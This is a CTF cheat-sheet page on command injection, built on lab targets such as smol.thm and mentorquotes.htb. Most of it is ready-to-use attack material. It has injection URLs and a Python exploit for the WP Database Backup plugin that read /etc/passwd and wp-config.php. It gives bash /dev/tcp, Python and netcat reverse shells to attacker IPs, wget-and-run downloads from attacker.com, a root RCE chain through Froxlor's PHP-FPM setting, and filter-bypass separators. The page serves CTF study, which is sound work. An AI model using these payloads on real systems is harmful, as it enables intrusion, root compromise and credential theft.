> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-17/rce/web-rce-command-injection.md).

# Command Injection

## Authenticated RCE via cmd parameter

To exploit authenticated command injection via a URL parameter, access the administrative page after logging in and inject system commands directly into the vulnerable parameter found through analysis or trial and error.

For example, on a WordPress administrative page (`/wp-admin/index.php`), if the `cmd` parameter is vulnerable, the injection point would look like this:

```
http://www.smol.thm/wp-admin/index.php/?cmd=<command>
```

Replace `<command>` with the desired system command to be executed on the server. This technique requires valid credentials for the administrative interface.

A specific instance of this vulnerability can be found in certain versions of the WP Database Backup plugin. This plugin allows authenticated users to download backup files via the admin page `/wp-admin/admin.php?page=wp_database_backup`. A command injection vulnerability exists in the `file` parameter when handling the download action. By injecting commands within backticks (` `` `) or using `$()` within the `file` parameter, an attacker can execute arbitrary OS commands on the server.

For example, to execute the `id` command, the vulnerable URL might look like this:

```
http://smol.thm/wp-admin/admin.php?page=wp_database_backup&action=download&file=`id`
```

Or using the `$(...)` syntax:

```
http://smol.thm/wp-admin/admin.php?page=wp_database_backup&action=download&file=$(id)
```

Other commands can be executed similarly, such as listing directory contents (`ls -la`) or reading sensitive files (`cat /etc/passwd`, `cat /var/www/html/wp-config.php`):

```
http://smol.thm/wp-admin/admin.php?page=wp_database_backup&action=download&file=`ls -la`
http://smol.thm/wp-admin/admin.php?page=wp_database_backup&action=download&file=`cat /etc/passwd`
```

The output of the executed command is often included in the content of the file that the plugin attempts to download, allowing the attacker to retrieve the command's result.

This type of injection can also be automated using scripts. A Python script can be used to send the crafted request and display the response:

```python
import requests
import argparse

parser = argparse.ArgumentParser(description='Exploit for OS Command Injection')
parser.add_argument('-u', '--url', help='Target URL', required=True)
parser.add_argument('-c', '--cmd', help='Command to execute', required=True)
args = parser.parse_args()

url = args.url
cmd = args.cmd

payload = f'{url}/wp-admin/admin.php?page=wp_database_backup&action=download&file=`{cmd}`'

print(f'Executing command: {cmd}')
response = requests.get(payload)

print('Response:')
print(response.text)
```

This script takes the target URL and the command to execute as arguments, constructs the malicious URL with the command injected into the `file` parameter using backticks, sends a GET request, and prints the server's response, which contains the command output.

***

## Command Injection Filter Bypass for Reverse Shell

When common shell commands are filtered in a command injection vulnerability, a Python one-liner can often bypass defenses to establish a reverse shell, assuming Python 3 is available on the target system. This method is often preferred when other tools are unavailable or blocked.

Use the following Python code, replacing `YOUR_IP` and `YOUR_PORT` with your listener details:

```python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR_IP",YOUR_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'
```

This command imports necessary modules like `socket` for networking, `subprocess` for executing commands, and `os` for interacting with the operating system. It creates a socket, connects back to the attacker's specified IP and port, and then duplicates the socket's file descriptor (`s.fileno()`) to standard input (0), standard output (1), and standard error (2). This redirection ensures that the target process's input, output, and errors go through the socket connection. Finally, it imports the `pty` module and uses `pty.spawn()` to spawn a new shell process (`/bin/sh` in this case) connected to a pseudo-terminal, which is then attached to the redirected file descriptors.

This type of shell is initially non-interactive or "dumb". To get a fully interactive TTY shell, which is useful for running commands like `su` or `sudo`, using tab completion, handling signals correctly (like Ctrl+C), and having proper command history and editing, you can leverage the `pty` module. The `pty.spawn()` function is used to spawn a new process connected to a pseudo-terminal.

The `/bin/sh` at the end can often be replaced with `/bin/bash` depending on the target system's shell availability and preference. On many Linux systems, `/bin/sh` is a symbolic link to `/bin/bash` or another shell like Dash. While `/bin/sh` provides basic shell functionality, `/bin/bash` offers more features like advanced command-line editing, command history, and job control, which are standard in an interactive shell.

Once the initial non-interactive shell is established, you can often upgrade it to be more stable and interactive. After connecting to the shell, you can typically run commands like:

```bash
python -c 'import pty; pty.spawn("/bin/bash")'
```

This command uses Python to allocate a pseudo-terminal and spawn `/bin/bash`, effectively attaching the current shell session to this new TTY.

Another common method involves using the `stty` command to control terminal settings. This often requires the shell to be in the foreground (`fg`) after the `stty` command:

```bash
stty raw -echo; fg
```

The `stty raw` command changes terminal settings to process input character by character without buffering, and `-echo` disables the echoing of typed characters back to the terminal, preventing double characters. After running `stty raw -echo`, the shell might appear unresponsive as input is not echoed. Typing `fg` (foreground) and pressing Enter (though it won't be echoed) will attempt to bring the backgrounded shell process to the foreground, often resulting in a more interactive shell.

These commands help in getting a more stable shell experience, allowing for better command line editing, history, and signal handling, making post-exploitation activities significantly easier.

***

## Command Injection via API Parameter

Command injection via an API parameter can be exploited by injecting command control characters followed by arbitrary commands into a vulnerable parameter within the request body or URL.

For example, injecting into the `path` parameter of a POST request with a JSON body to the `/admin/backup` endpoint on `api.mentorquotes.htb`:

Initial confirmation of the vulnerability can be attempted with simple payloads designed to execute a command and observe its effect or output. For instance, injecting commands like `id` or `whoami` can reveal information about the user executing the command on the server.

```bash
curl http://api.mentorquotes.htb/admin/backup -X POST -H 'Authorization: [REDACTED]' -H 'Content-Type: application/json' -d '{"path": "; id;", "body": "test"}'
```

Various command separators can be used depending on the underlying operating system and shell. Common separators include the semicolon (`;`), which allows executing a second command after the first one completes, regardless of its success. Other separators include `&` (execute command in background, or chain commands), `|` (pipe output of one command as input to another), `||` (execute second command only if the first fails), `&&` (execute second command only if the first succeeds), and newline characters (, often URL-encoded as `%0a`).

To test for a delay, useful in blind injection scenarios where command output is not directly returned:

```bash
curl http://api.mentorquotes.htb/admin/backup -X POST -H 'Authorization: [REDACTED]' -H 'Content-Type: application/json' -d '{"path": ";sleep 5;", "body": "test"}'
```

Another common command for initial testing is `whoami`:

```bash
curl http://api.mentorquotes.htb/admin/backup -X POST -H 'Authorization: [REDACTED]' -H 'Content-Type: application/json' -d '{"path": "; whoami;", "body": "test"}'
```

Other basic commands like `ls` or `hostname` can also be used for initial confirmation.

Once command execution is confirmed, a reverse shell payload can be injected to gain interactive access.

```bash
curl http://api.mentorquotes.htb/admin/backup -X POST -H 'Authorization: [REDACTED]' -H 'Content-Type: application/json' -d '{"path": "; bash -c "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1";", "body": "test"}'
```

The payload `{"path": "; bash -c "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1";", ...}` utilizes the semicolon `;` to terminate the original command that the application intended to execute and chain a bash reverse shell command. This specific endpoint (`/admin/backup`) required valid `Authorization` and `Content-Type: application/json` headers for the request to be processed. Remember to replace `YOUR_IP` and `4444` with your listener details.

Alternatively, a Netcat reverse shell payload can be used, assuming Netcat is available on the target system:

```bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc YOUR_IP 4444 >/tmp/f
```

This Netcat command first creates a named pipe `/tmp/f`, then uses `cat` to read from it, pipes the output to `/bin/sh` for an interactive shell, redirects standard error to standard output, pipes the shell output to `nc` connecting to the attacker's IP and port, and redirects the Netcat input back to the named pipe `/tmp/f`. This command could be injected similarly using a command separator like `;` within the vulnerable parameter.

***

## Froxlor Authenticated RCE via PHP-FPM Setting

Log in to the Froxlor admin panel. Navigate to **PHP -> PHP-FPM versions**.

Locate the 'Custom PHP-FPM restart command' setting. This setting is vulnerable to Remote Command Execution due to insufficient sanitization of user-supplied input. The input is filtered for characters like `&`, `;`, `|`, `>`, `<`, `//` etc., making it difficult to execute complex commands directly. A multi-step approach is required to bypass these restrictions and achieve full command execution.

The bypass method involves using a simple command that is allowed by the filter to download a more complex script from an attacker-controlled server, and then executing the downloaded script in a second step.

First, use the setting to download your shell script (e.g., `shell.sh`) from the attacker's server using `wget` to a writable location like `/tmp`.

```bash
wget http://<ATTACKER_IP>/shell.sh -O /tmp/shell.sh
```

Trigger the execution of this command. This command is executed when the PHP-FPM service is restarted. This can be triggered by navigating to **System -> Settings**, clicking on **PHP-FPM**, and then disabling and re-enabling the service. Alternatively, wait for the Froxlor cron job to execute the command.

Once the script is downloaded, the second step is to change the 'Custom PHP-FPM restart command' setting to execute the downloaded script.

```bash
/bin/bash /tmp/shell.sh
```

Trigger the execution again using the disable/enable service method or waiting for the cron job. This command is executed as root, granting a privileged reverse shell.

***

## OS Command Injection Bypass (Newline)

A common way to bypass filters preventing standard command separators (like `;`, `&`, `|`) in web applications executing shell commands is by injecting a newline character (`%0A` URL-encoded). This character can terminate the intended command on one line, allowing your injected command to run on the subsequent line, effectively splitting the command execution.

For example, in a `ping` utility vulnerable to command injection, you might use:

```bash
curl http://www.athena.thm/myrouterpanel/ping.php -X POST -d 'ip=%0A id &submit='
```

Here, `%0A` terminates the `ping` command, and `id` is executed afterwards.

Other examples demonstrating the use of the newline character (`%0A`) include:

```bash
127.0.0.1%0Als
```

This payload executes `ls` after the initial command. Similarly, to read a sensitive file:

```bash
127.0.0.1%0acat /etc/passwd
```

More complex commands can also be chained using newline:

```bash
127.0.0.1%0awget http://attacker.com/shell.sh -O /tmp/shell.sh%0Abash /tmp/shell.sh
```

This downloads a shell script and then executes it.

If `%0A` is filtered, other characters can often be used to terminate the initial command and add a new one. Common alternatives include:

* `;` (semicolon)
* `&` (ampersand)
* `|` (pipe)
* `||` (double pipe)
* `&&` (double ampersand)
* &#x20;(literal newline)
* `%0d` (carriage return)
* &#x20;(literal carriage return)

Simple examples using some of these alternative separators are:

```bash
127.0.0.1;ls
```

```bash
127.0.0.1&ls
```

```bash
127.0.0.1|ls
```

These alternative separators provide various ways to chain commands, depending on the specific shell and filtering in place.

***

## Remote Code Execution via URL Parameter

Execute arbitrary commands on the server via a vulnerable URL parameter, often `cmd`. This typically involves injecting shell metacharacters and a reverse shell payload to gain remote code execution.

For instance, injecting a bash reverse shell payload into a `cmd` parameter like the following:

```
http://www.smol.thm/wp-admin/index.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.17.24.233%204444%20%3E%2Ftmp%2Ff
```

The URL-encoded payload (`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.17.24.233 4444 >/tmp/f`) uses pipes and a named pipe (`mkfifo`) to redirect the standard input/output of `/bin/sh` through `nc` back to your listener. This method first removes any existing named pipe at `/tmp/f`, then creates a new one. The `cat` command reads from this named pipe, and its output is piped (`|`) to a non-interactive bash shell (`/bin/sh -i`). Standard error (`2`) is redirected to standard output (`>&1`), and this combined output is piped (`|`) to `nc` which connects to the attacker's IP and port. Finally, the standard output of the `nc` connection is redirected (`>`) back into the named pipe `/tmp/f`, completing the loop and allowing commands sent via `nc` to be executed by the shell.

Other variations of the named pipe method exist, such as using `mknod`:

```bash
mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc 10.0.0.1 1234 1>/tmp/backpipe
```

This command creates a named pipe using `mknod`, then redirects standard input of a shell (`/bin/sh`) to read from this pipe. The shell's standard output is piped to `nc`, which connects to the listener, and `nc`'s standard output is redirected back into the named pipe, similar to the `mkfifo` example.

Before sending the malicious request, set up your listener:

```bash
nc -lvnp 4444
```

The flags used with `nc` are: `l` (listen mode), `v` (verbose output), `n` (numeric-only IP addresses, no DNS), and `p` (specify the port).\
Ensure the IP address and port in the payload match your listener setup.
